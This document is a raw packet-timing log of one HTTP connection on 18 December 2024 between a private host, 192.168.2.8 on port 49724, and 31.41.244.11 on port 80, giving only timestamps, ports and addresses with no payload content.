Dec 18, 2024 09:07:39.289346933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.290554047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.290616035 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.290646076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.290688038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.292026997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.292043924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.292095900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.293370008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.293389082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.293421984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.293457031 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.294672966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.294725895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.294739962 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.294789076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.296132088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.296143055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.296190023 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.297367096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.297425032 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.297472000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.297559977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.298969984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.298988104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.299036980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.299069881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.300096035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.300156116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.300224066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.300345898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.301393986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.301563025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.301603079 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.301898003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.302779913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.302843094 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.302874088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.303009987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.304311991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.304322958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.304374933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.305545092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.305614948 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.305650949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.305701971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.307035923 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.307051897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.307100058 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.307133913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.308240891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.308295965 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.308623075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.308682919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.309581995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.309643984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.309726000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.309808016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.310945034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.311013937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.311115026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.311244011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.312489033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.312570095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.312608957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.312750101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.313918114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.313987017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.314213037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.314261913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.315083981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.315165043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.315248966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.315344095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.316452980 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.316466093 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.316525936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.317749977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.317815065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.317922115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.317991972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.319137096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.319211960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.319292068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.319341898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.320530891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.320543051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.320584059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.320617914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.321898937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.321965933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.322025061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.322202921 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.323216915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.323281050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.323359013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.323431015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.324604988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.324657917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.324672937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.324757099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.325987101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.326028109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.326056957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.326092005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.327250957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.327323914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.327344894 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.327378035 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.328682899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.328741074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.328825951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.328980923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.330049038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.330095053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.330127001 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.330158949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.331384897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.331495047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.331504107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.331545115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.332707882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.333000898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.333030939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.333113909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.334053040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.334192038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.334259987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.335491896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.335535049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.335593939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.336855888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.336915970 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.454056025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.454092979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.454296112 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.454771042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.454802036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.454848051 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.454885006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.455626011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.455904961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.455949068 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.456995964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.457006931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.457051039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.458087921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.458101988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.458148003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.459367037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.459386110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.459417105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.459448099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.460179090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.460190058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.460232019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.461251020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.461337090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.461385012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.462279081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.462323904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.462390900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.463479042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.463505983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.463551044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.463561058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.463610888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.464576960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.464622021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.464663029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.464701891 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.465595961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.465640068 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.465724945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.465785027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.466739893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.466814995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.466869116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.467817068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.467897892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.467959881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.468900919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.468913078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.468945026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.468981981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.470057964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.470079899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.470118046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.470118046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.471148968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.471199989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.471285105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.471373081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.472299099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.472354889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.472404003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.473362923 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.473377943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.473424911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.474438906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.474486113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.474562883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.475502014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.475572109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.475583076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.475621939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.476618052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.476799011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.476841927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.477714062 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.477765083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.477860928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.478935003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.478974104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.478976011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.479494095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.480118990 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.480381966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.480427980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.481074095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.481153011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.481194973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.482115984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.482167959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.482280016 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.483325958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.483355045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.483370066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.483500004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.484325886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.484440088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.484488010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.485445976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.485502958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.485552073 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.486530066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.486576080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.486640930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.487497091 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.487621069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.487668037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.487741947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.487807989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.488739014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.488792896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.488831997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.489592075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.489862919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.489908934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.489984035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.490026951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.490964890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.491012096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.491055012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.491097927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.492321968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.492367983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.492512941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.492559910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.493666887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.493784904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.493832111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.495008945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.495120049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.495168924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.495970964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.496119022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.496172905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.496773958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.496819019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.496841908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.497570992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.497622013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.497663975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.498627901 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.498795986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.498956919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.499025106 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.500118971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.500154018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.500221014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.500874996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.500921011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.501027107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.502079964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.502127886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.502139091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.503065109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.503118038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.503211975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.503259897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.504196882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.504306078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.504359007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.505589008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.505760908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.505811930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.507100105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.507148027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.507236958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.507502079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.508735895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.508784056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.508862019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.508907080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.510288954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.510354996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.510530949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.510580063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.511679888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.511918068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.511970997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.512809038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.512964964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.513022900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.513600111 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.514319897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.644962072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.645023108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.645026922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.645473003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.645505905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.645534992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.645565987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.645641088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.646835089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.646846056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.646893024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.647792101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.647842884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.647912025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.648986101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.649018049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.649050951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.649107933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.649899006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.650012016 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.650230885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.651029110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.651077032 CET	49724	80	192.168.2.8	31.41.244.11
